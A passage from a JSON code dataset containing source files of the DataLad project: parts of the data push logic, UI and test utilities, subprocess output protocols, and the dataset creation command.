seems like a good idea to pass on Git's native message\\n # TODO maybe implement a dedicated result renderer, instead\\n # of duplicating information only so that the default one\\n # can make sense at all\\n message='{}->{}:{} {}'.format(\\n pr['from_ref'],\\n pr['remote'],\\n pr['to_ref'],\\n pr['note']),\\n )\\n\\n\\ndef _push_data(ds, target, content, data, force, jobs, res_kwargs,\\n got_path_arg=False):\\n if ds.config.getbool('remote.{}'.format(target), 'annex-ignore', False):\\n lgr.debug(\\n \\\"Target '%s' is set to annex-ignore, exclude from data-push.\\\",\\n target,\\n )\\n return\\n\\n ds_repo = ds.repo\\n\\n res_kwargs['target'] = target\\n if not ds.config.get('.'.join(('remote', target, 'annex-uuid')), None):\\n # this remote either isn't an annex,\\n # or hasn't been properly initialized\\n # given that there was no annex-ignore, let's try to init it\\n # see https://github.com/datalad/datalad/issues/5143 for the story\\n ds_repo.localsync(target)\\n\\n if not ds.config.get('.'.join(('remote', target, 'annex-uuid')), None):\\n # still nothing\\n # rather than barfing tons of messages for each file, do one\\n # for the entire dataset\\n yield dict(\\n res_kwargs,\\n action='copy',\\n status='impossible'\\n if force in ('all', 'checkdatapresent')\\n else 'notneeded',\\n message=(\\n \\\"Target '%s' does not appear to be an annex remote\\\",\\n target)\\n )\\n return\\n\\n # it really looks like we will transfer files, get info on what annex\\n # has in store\\n # paths must be recoded to a dataset REPO root (in case of a symlinked\\n # location\\n annex_info_init = \\\\\\n {ds_repo.pathobj / Path(c['path']).relative_to(ds.pathobj): c\\n for c in content} if ds.pathobj != ds_repo.pathobj else \\\\\\n {Path(c['path']): c for c in content}\\n content = ds.repo.get_content_annexinfo(\\n # paths are taken from `annex_info_init`\\n paths=None,\\n init=annex_info_init,\\n ref='HEAD',\\n # this is an expensive operation that is only needed\\n # to perform a warning below, and for more accurate\\n # progress reporting (exclude unavailable content).\\n # limit to cases with explicit paths provided\\n eval_availability=True if got_path_arg else False,\\n )\\n # figure out which of the reported content (after evaluating\\n # `since` and `path` arguments needs transport\\n to_transfer = [\\n c\\n for c in content.values()\\n # by force\\n if ((force in ('all', 'checkdatapresent') or\\n # or by modification report\\n c.get('state', None) not in ('clean', 'deleted'))\\n # only consider annex'ed files\\n and 'key' in c\\n )\\n ]\\n if got_path_arg:\\n for c in [c for c in to_transfer if not c.get('has_content', False)]:\\n yield dict(\\n res_kwargs,\\n type=c['type'],\\n path=c['path'],\\n action='copy',\\n status='impossible',\\n message='Slated for transport, but no content present',\\n )\\n\\n cmd = ['copy', '--batch', '-z', '--to', target]\\n\\n if jobs:\\n cmd.extend(['--jobs', str(jobs)])\\n\\n # Since we got here - we already have some data != \\\"nothing\\\"\\n if (data == 'auto') or \\\\\\n (\\n (data == 'auto-if-wanted') and\\n ds_repo.get_preferred_content('wanted', target)\\n ):\\n lgr.debug(\\\"Invoking copy --auto\\\")\\n cmd.append('--auto')\\n\\n if force not in ('all', 'checkdatapresent'):\\n # if we force, we do not trust local knowledge and do the checks\\n cmd.append('--fast')\\n\\n lgr.debug(\\\"Pushing data from %s to '%s'\\\", ds, target)\\n\\n # input has type=dataset, but now it is about files\\n res_kwargs.pop('type', None)\\n\\n # A set and a dict is used to track files pointing to the\\n # same key. The set could be dropped, using a single dictionary\\n # that has an entry for every seen key and a (likely empty) list\\n # of redundant files, but that would mean looping over potentially\\n # many keys to yield likely few if any notneeded results.\\n seen_keys = set()\\n repkey_paths = dict()\\n\\n # produce final path list. use knowledge that annex command will\\n # run in the root of the dataset and compact paths to be relative\\n # to this location\\n file_list = b''\\n nbytes = 0\\n for c in to_transfer:\\n key = c['key']\\n if key in seen_keys:\\n repkey_paths.setdefault(key, []).append(c['path'])\\n else:\\n file_list += bytes(Path(c['path']).relative_to(ds.pathobj))\\n file_list += b'\\\\0'\\n nbytes += c.get('bytesize', 0)\\n seen_keys.add(key)\\n lgr.debug('Counted %d bytes of annex data to transfer',\\n nbytes)\\n\\n # and go\\n res = ds_repo._call_annex_records(\\n cmd,\\n git_options=[\\n \\\"-c\\\",\\n \\\"annex.retry={}\\\".format(\\n ds_repo.config.obtain(\\\"datalad.annex.retry\\\"))]\\n if ds_repo.config.get(\\\"annex.retry\\\") else None,\\n stdin=file_list,\\n progress=True,\\n # tailor the progress protocol with the total number of files\\n # to be transferred\\n total_nbytes=nbytes)\\n for j in res:\\n yield annexjson2result(j, ds, type='file', **res_kwargs)\\n\\n for annex_key, paths in repkey_paths.items():\\n for path in paths:\\n yield dict(\\n res_kwargs, action='copy', type='file', status='notneeded',\\n path=path, annexkey=annex_key,\\n message='Another file points to the same key')\\n return\\n\\n\\ndef _get_corresponding_remote_state(repo, to):\\n since = None\\n # for managed branches we cannot assume a matching one at the remote end\\n # instead we target the corresponding branch\\n active_branch = repo.get_corresponding_branch() or repo.get_active_branch()\\n\\n if to:\\n # XXX here we assume one to one mapping of names from local branches\\n # to the remote\\n since = '%s/%s' % (to, active_branch)\\n else:\\n # take tracking remote for the active branch\\n tracked_remote, tracked_refspec = repo.get_tracking_branch()\\n if tracked_remote:\\n if tracked_refspec.startswith('refs/heads/'):\\n tracked_refspec = tracked_refspec[len('refs/heads/'):]\\n #to = tracked_remote\\n since = '%s/%s' % (tracked_remote, tracked_refspec)\\n return since\\n\"\n },\n {\n \"alpha_fraction\": 0.47640448808670044,\n \"alphanum_fraction\": 0.483146071434021,\n \"avg_line_length\": 36.08333206176758,\n \"blob_id\": \"f5404c2800bec7747c50f308acc9373fb32b49c5\",\n \"content_id\": \"9fe85d3766e42c8e9bd6d23ce28957c948cfc4cd\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 445,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 12,\n \"path\": \"/datalad/support/tests/utils.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Utils for testing support module\\n\\\"\\\"\\\"\\n\\nfrom datalad.support.external_versions import external_versions\\nfrom datalad.tests.utils_pytest import *\\n\"\n },\n {\n \"alpha_fraction\": 0.5805310010910034,\n \"alphanum_fraction\": 0.5858407020568848,\n \"avg_line_length\": 24.917430877685547,\n \"blob_id\": \"f9a9107c80c4fe6e05f9dda0ef77f52223471c65\",\n \"content_id\": \"b4115cecea2b9dfc4b0119113c73d5cb4784b455\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2825,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 109,\n \"path\": \"/datalad/ui/tests/test_base.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-wstrth: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"tests for UI switcher\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nfrom unittest.mock import patch\\n\\nfrom ...tests.utils_pytest import (\\n assert_equal,\\n assert_false,\\n assert_not_equal,\\n assert_raises,\\n with_testsui,\\n)\\nfrom .. import _UI_Switcher\\nfrom ..dialog import (\\n ConsoleLog,\\n DialogUI,\\n IPythonUI,\\n)\\n\\n\\ndef test_ui_switcher():\\n ui = _UI_Switcher('dialog')\\n assert(isinstance(ui.ui, DialogUI))\\n message_str = str(ui.message)\\n assert_equal(message_str, str(ui._ui.message))\\n\\n ui.set_backend('console')\\n assert(isinstance(ui.ui, ConsoleLog))\\n assert_equal(str(ui.message), str(ui._ui.message))\\n assert_not_equal(message_str, str(ui._ui.message))\\n with assert_raises(AttributeError):\\n ui.yesno\\n\\n ui.set_backend('annex')\\n\\n # Let's pretend we are under IPython\\n class ZMQInteractiveShell(object):\\n pass\\n\\n with patch('datalad.utils.get_ipython',\\n lambda: ZMQInteractiveShell(),\\n create=True):\\n ui = _UI_Switcher()\\n assert (isinstance(ui.ui, IPythonUI))\\n\\n\\ndef test_tests_ui():\\n ui = _UI_Switcher('dialog')\\n # Let's test our responses construct\\n ui.set_backend('tests')\\n with ui.add_responses('abc'):\\n assert_equal(ui.question(\\\"text\\\"), 'abc')\\n\\n with ui.add_responses(['a', 'bb']):\\n assert_equal(ui.question(\\\"text\\\"), 'a')\\n assert_equal(ui.question(\\\"text\\\"), 'bb')\\n\\n # should raise exception if not all responses were\\n # used\\n with assert_raises(AssertionError):\\n with ui.add_responses(['a', 'bb']):\\n assert_equal(ui.question(\\\"text\\\"), 'a')\\n\\n # but clear it up\\n assert_false(ui.get_responses())\\n\\n # assure that still works\\n with ui.add_responses('abc'):\\n assert_equal(ui.question(\\\"text\\\"), 'abc')\\n\\n # and if we switch back to some other backend -- we would loose *responses methods\\n ui.set_backend('annex')\\n assert_false(hasattr(ui, 'add_responses'))\\n\\n\\ndef test_with_testsui():\\n\\n @with_testsui\\n def nothing(x, k=1):\\n assert_equal(x, 1)\\n assert_equal(k, 2)\\n\\n nothing(1, k=2)\\n\\n @with_testsui(responses='a')\\n def nothing(x, k=1):\\n assert_equal(x, 1)\\n assert_equal(k, 2)\\n\\n # responses were not used\\n assert_raises(AssertionError, nothing, 1, k=2)\\n\\n from datalad.ui import ui\\n\\n @with_testsui(responses='a')\\n def ask():\\n assert_equal(ui.question('what is a?'), 'a')\\n\\n\\n ask()\\n\"\n },\n {\n \"alpha_fraction\": 0.613942563533783,\n \"alphanum_fraction\": 0.6186291575431824,\n \"avg_line_length\": 28.947368621826172,\n \"blob_id\": \"83db6573ac4e6e133773c3319d9415ff78ed76b1\",\n \"content_id\": \"de8f8ceaef1b21b8c6d57e53b60583605b89e45f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1707,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 57,\n \"path\": \"/datalad/runner/coreprotocols.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Generic core protocols for use with the DataLad runner\\n\\\"\\\"\\\"\\n\\nimport logging\\n\\nfrom .protocol import WitlessProtocol\\n\\nlgr = logging.getLogger('datalad.runner.coreprotocols')\\n\\n\\nclass NoCapture(WitlessProtocol):\\n \\\"\\\"\\\"WitlessProtocol that captures no subprocess output\\n\\n As this is identical with the behavior of the WitlessProtocol base class,\\n this class is merely a more readable convenience alias.\\n \\\"\\\"\\\"\\n pass\\n\\n\\nclass StdOutCapture(WitlessProtocol):\\n \\\"\\\"\\\"WitlessProtocol that only captures and returns stdout of a subprocess\\\"\\\"\\\"\\n proc_out = True\\n\\n\\nclass StdErrCapture(WitlessProtocol):\\n \\\"\\\"\\\"WitlessProtocol that only captures and returns stderr of a subprocess\\\"\\\"\\\"\\n proc_err = True\\n\\n\\nclass StdOutErrCapture(WitlessProtocol):\\n \\\"\\\"\\\"WitlessProtocol that captures and returns stdout/stderr of a subprocess\\n \\\"\\\"\\\"\\n proc_out = True\\n proc_err = True\\n\\n\\nclass KillOutput(WitlessProtocol):\\n \\\"\\\"\\\"WitlessProtocol that swallows stdout/stderr of a subprocess\\n \\\"\\\"\\\"\\n proc_out = True\\n proc_err = True\\n\\n def pipe_data_received(self, fd: int, data: bytes) -> None:\\n assert self.process is not None\\n if lgr.isEnabledFor(5):\\n lgr.log(\\n 5,\\n 'Discarded %i bytes from %i[%s]',\\n len(data), self.process.pid, self.fd_infos[fd][0])\\n\"\n },\n {\n \"alpha_fraction\": 0.5708751678466797,\n \"alphanum_fraction\": 0.571956217288971,\n \"avg_line_length\": 37.67770004272461,\n \"blob_id\": \"a8ec979107967404b65f5f49987886317ea6db4c\",\n \"content_id\": \"d49f5ddff94fb93b5b2e5dc25435b7333c28d8db\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 22201,\n \"license_type\": \"permissive\",\n \"max_line_length\": 90,\n \"num_lines\": 574,\n \"path\": \"/datalad/core/local/create.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"High-level interface for dataset creation\\n\\n\\\"\\\"\\\"\\n\\nimport os\\nimport logging\\nimport random\\nimport uuid\\nimport warnings\\nfrom argparse import (\\n REMAINDER,\\n)\\n\\nfrom os import listdir\\nimport os.path as op\\n\\nfrom datalad import cfg\\nfrom datalad import _seed\\nfrom datalad.interface.base import Interface\\nfrom datalad.interface.base import (\\n build_doc,\\n eval_results,\\n)\\nfrom datalad.interface.common_opts import (\\n location_description,\\n)\\nfrom datalad.support.constraints import (\\n EnsureStr,\\n EnsureNone,\\n EnsureKeyChoice,\\n)\\nfrom datalad.support.param import Parameter\\nfrom datalad.utils import (\\n getpwd,\\n ensure_list,\\n get_dataset_root,\\n Path,\\n)\\n\\nfrom datalad.distribution.dataset import (\\n Dataset,\\n datasetmethod,\\n EnsureDataset,\\n resolve_path,\\n path_under_rev_dataset,\\n require_dataset,\\n)\\n\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.support.annexrepo import AnnexRepo\\n\\n\\n__docformat__ = 'restructuredtext'\\n\\nlgr = logging.getLogger('datalad.core.local.create')\\n\\n\\n@build_doc\\nclass Create(Interface):\\n \\\"\\\"\\\"Create a new dataset from scratch.\\n\\n This command initializes a new dataset at a given location, or the\\n current directory. The new dataset can optionally be registered in an\\n existing superdataset (the new dataset's path needs to be located\\n within the superdataset for that, and the superdataset needs to be given\\n explicitly via [PY: `dataset` PY][CMD: --dataset CMD]). It is recommended\\n to provide a brief description to label the dataset's nature *and*\\n location, e.g. \\\"Michael's music on black laptop\\\". This helps humans to\\n identify data locations in distributed scenarios. By default an identifier\\n comprised of user and machine name, plus path will be generated.\\n\\n This command only creates a new dataset, it does not add existing content\\n to it, even if the target directory already contains additional files or\\n directories.\\n\\n Plain Git repositories can be created via [PY: `annex=False` PY][CMD: --no-annex CMD].\\n However, the result will not be a full dataset, and, consequently,\\n not all features are supported (e.g. a description).\\n\\n || REFLOW >>\\n To create a local version of a remote dataset use the\\n :func:`~datalad.api.install` command instead.\\n << REFLOW ||\\n\\n .. note::\\n Power-user info: This command uses :command:`git init` and\\n :command:`git annex init` to prepare the new dataset. Registering to a\\n superdataset is performed via a :command:`git submodule add` operation\\n in the discovered superdataset.\\n \\\"\\\"\\\"\\n\\n # in general this command will yield exactly one result\\n return_type = 'item-or-list'\\n # in general users expect to get an instance of the created dataset\\n result_xfm = 'datasets'\\n # result filter\\n result_filter = \\\\\\n EnsureKeyChoice('action', ('create',)) & \\\\\\n EnsureKeyChoice('status', ('ok', 'notneeded'))\\n\\n _examples_ = [\\n dict(text=\\\"Create a dataset 'mydataset' in the current directory\\\",\\n code_py=\\\"create(path='mydataset')\\\",\\n code_cmd=\\\"datalad create mydataset\\\"),\\n dict(text=\\\"Apply the text2git procedure upon creation of a dataset\\\",\\n code_py=\\\"create(path='mydataset', cfg_proc='text2git')\\\",\\n code_cmd=\\\"datalad create -c text2git mydataset\\\"),\\n dict(text=\\\"Create a subdataset in the root of an existing dataset\\\",\\n code_py=\\\"create(dataset='.', path='mysubdataset')\\\",\\n code_cmd=\\\"datalad create -d . mysubdataset\\\"),\\n dict(text=\\\"Create a dataset in an existing, non-empty directory\\\",\\n code_py=\\\"create(force=True)\\\",\\n code_cmd=\\\"datalad create --force\\\"),\\n dict(text=\\\"Create a plain Git repository\\\",\\n code_py=\\\"create(path='mydataset', annex=False)\\\",\\n code_cmd=\\\"datalad create --no-annex mydataset\\\"),\\n ]\\n\\n _params_ = dict(\\n path=Parameter(\\n args=(\\\"path\\\",),\\n nargs='?',\\n metavar='PATH',\\n doc=\\\"\\\"\\\"path where the dataset shall be created, directories\\n will be created as necessary. If no location is provided, a dataset\\n will be created in the location specified by [PY: `dataset`\\n PY][CMD: --dataset CMD] (if given) or the current working\\n directory. Either way the command will error if the target\\n directory is not empty. Use [PY: `force` PY][CMD: --force CMD] to\\n create a dataset in a non-empty directory.\\\"\\\"\\\",\\n # put dataset 2nd to avoid useless conversion\\n constraints=EnsureStr() | EnsureDataset() | EnsureNone()),\\n initopts=Parameter(\\n args=(\\\"initopts\\\",),\\n metavar='INIT OPTIONS',\\n nargs=REMAINDER,\\n doc=\\\"\\\"\\\"options to pass to :command:`git init`. [PY: Options can be\\n given as a list of command line arguments or as a GitPython-style\\n option dictionary PY][CMD: Any argument specified after the\\n destination path of the repository will be passed to git-init\\n as-is CMD]. Note that not all options will lead to viable results.\\n For example '--bare' will not yield a repository where DataLad\\n can adjust files in its working tree.\\\"\\\"\\\"),\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n metavar='DATASET',\\n doc=\\\"\\\"\\\"specify the dataset to perform the create operation on. If\\n a dataset is given along with `path`, a new subdataset will be created\\n in it at the `path` provided to the create command. If a dataset is\\n given but `path` is unspecified, a new dataset will be created at the\\n location specified by this option.\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n force=Parameter(\\n args=(\\\"-f\\\", \\\"--force\\\",),\\n doc=\\\"\\\"\\\"enforce creation of a dataset in a non-empty directory\\\"\\\"\\\",\\n action='store_true'),\\n description=location_description,\\n annex=Parameter(\\n args=(\\\"--no-annex\\\",),\\n dest='annex',\\n doc=\\\"\\\"\\\"if [CMD: set CMD][PY: disabled PY], a plain Git repository\\n will be created without any annex\\\"\\\"\\\",\\n action='store_false'),\\n # TODO seems to only cause a config flag to be set, this could be done\\n # in a procedure\\n fake_dates=Parameter(\\n args=('--fake-dates',),\\n action='store_true',\\n doc=\\\"\\\"\\\"Configure the repository to use fake dates. The date for a\\n new commit will be set to one second later than the latest commit\\n in the repository. This can be used to anonymize dates.\\\"\\\"\\\"),\\n cfg_proc=Parameter(\\n args=(\\\"-c\\\", \\\"--cfg-proc\\\"),\\n metavar=\\\"PROC\\\",\\n action='append',\\n doc=\\\"\\\"\\\"Run cfg_PROC procedure(s) (can be specified multiple times)\\n on the created dataset. Use\\n [PY: `run_procedure(discover=True)` PY][CMD: run-procedure --discover CMD]\\n to get a list of available procedures, such as cfg_text2git.\\n \\\"\\\"\\\"\\n )\\n )\\n\\n @staticmethod\\n @datasetmethod(name='create')\\n @eval_results\\n def __call__(\\n path=None,\\n initopts=None,\\n *,\\n force=False,\\n description=None,\\n dataset=None,\\n annex=True,\\n fake_dates=False,\\n cfg_proc=None\\n ):\\n # we only perform negative tests below\\n no_annex = not annex\\n\\n if dataset:\\n if isinstance(dataset, Dataset):\\n ds = dataset\\n else:\\n ds = Dataset(dataset)\\n refds_path = ds.path\\n else:\\n ds = refds_path = None\\n\\n # two major cases\\n # 1. we got a `dataset` -> we either want to create it (path is None),\\n # or another dataset in it (path is not None)\\n # 2. we got no dataset -> we want to create a fresh dataset at the\\n # desired location, either at `path` or PWD\\n\\n # sanity check first\\n if no_annex:\\n if description:\\n raise ValueError(\\\"Incompatible arguments: cannot specify \\\"\\n \\\"description for annex repo and declaring \\\"\\n \\\"no annex repo.\\\")\\n\\n if (isinstance(initopts, (list, tuple)) and '--bare' in initopts) or (\\n isinstance(initopts, dict) and 'bare' in initopts):\\n raise ValueError(\\n \\\"Creation of bare repositories is not supported. Consider \\\"\\n \\\"one of the create-sibling commands, or use \\\"\\n \\\"Git to init a bare repository and push an existing dataset \\\"\\n \\\"into it.\\\")\\n\\n if path:\\n path = resolve_path(path, dataset)\\n\\n path = path if path \\\\\\n else getpwd() if ds is None \\\\\\n else refds_path\\n\\n # we know that we need to create a dataset at `path`\\n assert(path is not None)\\n\\n # assure cfg_proc is a list (relevant if used via Python API)\\n cfg_proc = ensure_list(cfg_proc)\\n\\n # prep for yield\\n res = dict(action='create', path=str(path),\\n logger=lgr, type='dataset',\\n refds=refds_path)\\n\\n refds = None\\n if refds_path and refds_path != str(path):\\n refds = require_dataset(\\n refds_path, check_installed=True,\\n purpose='create a subdataset')\\n\\n path_inrefds = path_under_rev_dataset(refds, path)\\n if path_inrefds is None:\\n yield dict(\\n res,\\n status='error',\\n message=(\\n \\\"dataset containing given paths is not underneath \\\"\\n \\\"the reference dataset %s: %s\\\",\\n ds, str(path)),\\n )\\n return\\n\\n # try to locate an immediate parent dataset\\n # we want to know this (irrespective of whether we plan on adding\\n # this new dataset to a parent) in order to avoid conflicts with\\n # a potentially absent/uninstalled subdataset of the parent\\n # in this location\\n # it will cost some filesystem traversal though...\\n parentds_path = get_dataset_root(\\n op.normpath(op.join(str(path), os.pardir)))\\n if parentds_path:\\n prepo = GitRepo(parentds_path)\\n parentds_path = Path(parentds_path)\\n # we cannot get away with a simple\\n # GitRepo.get_content_info(), as we need to detect\\n # uninstalled/added subdatasets too\\n check_path = Path(path)\\n pstatus = prepo.status(\\n untracked='no',\\n # limit query to target path for a potentially massive speed-up\\n paths=[check_path.relative_to(parentds_path)])\\n if (not pstatus.get(check_path, {}).get(\\\"type\\\") == \\\"dataset\\\" and\\n any(check_path == p or check_path in p.parents\\n for p in pstatus)):\\n # redo the check in a slower fashion, it is already broken\\n # let's take our time for a proper error message\\n conflict = [\\n p for p in pstatus\\n if check_path == p or check_path in p.parents]\\n res.update({\\n 'status': 'error',\\n 'message': (\\n 'collision with content in parent dataset at %s: %s',\\n str(parentds_path),\\n [str(c) for c in conflict])})\\n yield res\\n return\\n if not force:\\n # another set of check to see whether the target path is pointing\\n # into a known subdataset that is not around ATM\\n subds_status = {\\n parentds_path / k.relative_to(prepo.path)\\n for k, v in pstatus.items()\\n if v.get('type', None) == 'dataset'}\\n check_paths = [check_path]\\n check_paths.extend(check_path.parents)\\n if any(p in subds_status for p in check_paths):\\n conflict = [p for p in check_paths if p in subds_status]\\n res.update({\\n 'status': 'error',\\n 'message': (\\n 'collision with %s (dataset) in dataset %s',\\n str(conflict[0]),\\n str(parentds_path))})\\n yield res\\n return\\n\\n # important to use the given Dataset object to avoid spurious ID\\n # changes with not-yet-materialized Datasets\\n tbds = ds if isinstance(ds, Dataset) and \\\\\\n ds.path == path else Dataset(str(path))\\n\\n # don't create in non-empty directory without `force`:\\n if op.isdir(tbds.path) and listdir(tbds.path) != [] and not force:\\n res.update({\\n 'status': 'error',\\n 'message':\\n 'will not create a dataset in a non-empty directory, use '\\n '`--force` option to ignore'})\\n yield res\\n return\\n\\n # Check if specified cfg_proc(s) can be discovered, storing\\n # the results so they can be used when the time comes to run\\n # the procedure. If a procedure cannot be found, raise an\\n # error to prevent creating the dataset.\\n cfg_proc_specs = []\\n if cfg_proc:\\n discovered_procs = tbds.run_procedure(\\n discover=True,\\n result_renderer='disabled',\\n return_type='list',\\n )\\n for cfg_proc_ in cfg_proc:\\n for discovered_proc in discovered_procs:\\n if discovered_proc['procedure_name'] == 'cfg_' + cfg_proc_:\\n cfg_proc_specs.append(discovered_proc)\\n break\\n else:\\n raise ValueError(\\\"Cannot find procedure with name \\\"\\n \\\"'%s'\\\" % cfg_proc_)\\n\\n if initopts is not None and isinstance(initopts, list):\\n initopts = {'_from_cmdline_': initopts}\\n\\n # Note for the code below:\\n # OPT: be \\\"smart\\\" and avoid re-resolving .repo -- expensive in DataLad\\n # Re-use tbrepo instance, do not use tbds.repo\\n\\n # create and configure desired repository\\n # also provides initial set of content to be tracked with git (not annex)\\n if no_annex:\\n tbrepo, add_to_git = _setup_git_repo(path, initopts, fake_dates)\\n else:\\n tbrepo, add_to_git = _setup_annex_repo(\\n path, initopts, fake_dates, description)\\n\\n # OPT: be \\\"smart\\\" and avoid re-resolving .repo -- expensive in DataLad\\n # Note, must not happen earlier (before if) since \\\"smart\\\" it would not be\\n tbds_config = tbds.config\\n\\n # record an ID for this repo for the afterlife\\n # to be able to track siblings and children\\n id_var = 'datalad.dataset.id'\\n # Note, that Dataset property `id` will change when we unset the\\n # respective config. Therefore store it before:\\n tbds_id = tbds.id\\n if id_var in tbds_config:\\n # make sure we reset this variable completely, in case of a\\n # re-create\\n tbds_config.unset(id_var, scope='branch')\\n\\n if _seed is None:\\n # just the standard way\\n # use a fully random identifier (i.e. UUID version 4)\\n uuid_id = str(uuid.uuid4())\\n else:\\n # Let's generate preseeded ones\\n uuid_id = str(uuid.UUID(int=random.getrandbits(128)))\\n tbds_config.add(\\n id_var,\\n tbds_id if tbds_id is not None else uuid_id,\\n scope='branch',\\n reload=False)\\n\\n # make config overrides permanent in the repo config\\n # this is similar to what `annex init` does\\n # we are only doing this for config overrides and do not expose\\n # a dedicated argument, because it is sufficient for the cmdline\\n # and unnecessary for the Python API (there could simply be a\\n # subsequence ds.config.add() call)\\n for k, v in tbds_config.overrides.items():\\n tbds_config.add(k, v, scope='local', reload=False)\\n\\n # all config manipulation is done -> fll reload\\n tbds_config.reload()\\n\\n # must use the repo.pathobj as this will have resolved symlinks\\n add_to_git[tbrepo.pathobj / '.datalad'] = {\\n 'type': 'directory',\\n 'state': 'untracked'}\\n\\n # save everything, we need to do this now and cannot merge with the\\n # call below, because we may need to add this subdataset to a parent\\n # but cannot until we have a first commit\\n tbrepo.save(\\n message='[DATALAD] new dataset',\\n git=True,\\n # we have to supply our own custom status, as the repo does\\n # not have a single commit yet and the is no HEAD reference\\n # TODO make `GitRepo.status()` robust to this state.\\n _status=add_to_git,\\n )\\n\\n for cfg_proc_spec in cfg_proc_specs:\\n yield from tbds.run_procedure(\\n cfg_proc_spec,\\n result_renderer='disabled',\\n return_type='generator',\\n )\\n\\n # the next only makes sense if we saved the created dataset,\\n # otherwise we have no committed state to be registered\\n # in the parent\\n if isinstance(refds, Dataset) and refds.path != tbds.path:\\n # we created a dataset in another dataset\\n # -> make submodule\\n yield from refds.save(\\n path=tbds.path,\\n return_type='generator',\\n result_renderer='disabled',\\n )\\n else:\\n # if we do not save, we touch the root directory of the new\\n # dataset to signal a change in the nature of the directory.\\n # this is useful for apps like datalad-gooey (or other\\n # inotify consumers) to pick up on such changes.\\n tbds.pathobj.touch()\\n\\n res.update({'status': 'ok'})\\n yield res\\n\\n\\ndef _setup_git_repo(path, initopts=None, fake_dates=False):\\n \\\"\\\"\\\"Create and configure a repository at `path`\\n\\n Parameters\\n ----------\\n path: str or Path\\n Path of the repository\\n initopts: dict, optional\\n Git options to be passed to the GitRepo constructor\\n fake_dates: bool, optional\\n Passed to the GitRepo constructor\\n\\n Returns\\n -------\\n GitRepo, dict\\n Created repository and records for any repo component that needs to be\\n passed to git-add as a result of the setup procedure.\\n \\\"\\\"\\\"\\n tbrepo = GitRepo(\\n path,\\n create=True,\\n create_sanity_checks=False,\\n git_opts=initopts,\\n fake_dates=fake_dates)\\n # place a .noannex file to indicate annex to leave this repo alone\\n stamp_path = Path(tbrepo.path) / '.noannex'\\n stamp_path.touch()\\n add_to_git = {\\n stamp_path: {\\n 'type': 'file',\\n 'state': 'untracked',\\n }\\n }\\n return tbrepo, add_to_git\\n\\n\\ndef _setup_annex_repo(path, initopts=None, fake_dates=False,\\n description=None):\\n \\\"\\\"\\\"Create and configure a repository at `path`\\n\\n This includes a default setup of annex.largefiles.\\n\\n Parameters\\n ----------\\n path: str or Path\\n Path of the repository\\n initopts: dict, optional\\n Git options to be passed to the AnnexRepo constructor\\n fake_dates: bool, optional\\n Passed to the AnnexRepo constructor\\n description: str, optional\\n Passed to the AnnexRepo constructor\\n\\n Returns\\n -------\\n AnnexRepo, dict\\n Created repository and records for any repo component that needs to be\\n passed to git-add as a result of the setup procedure.\\n \\\"\\\"\\\"\\n # always come with annex when created from scratch\\n tbrepo = AnnexRepo(\\n path,\\n create=True,\\n create_sanity_checks=False,\\n # do not set backend here, to avoid a dedicated commit\\n backend=None,\\n # None causes version to be taken from config\\n version=None,\\n description=description,\\n git_opts=initopts,\\n fake_dates=fake_dates\\n )\\n # set the annex backend in .gitattributes as a staged change\\n tbrepo.set_default_backend(\\n cfg.obtain('datalad.repo.backend'),\\n persistent=True, commit=False)\\n add_to_git = {\\n tbrepo.pathobj / '.gitattributes': {\\n 'type': 'file',\\n 'state': 'added',\\n }\\n }\\n # make sure that v6 annex repos never commit content under .datalad\\n 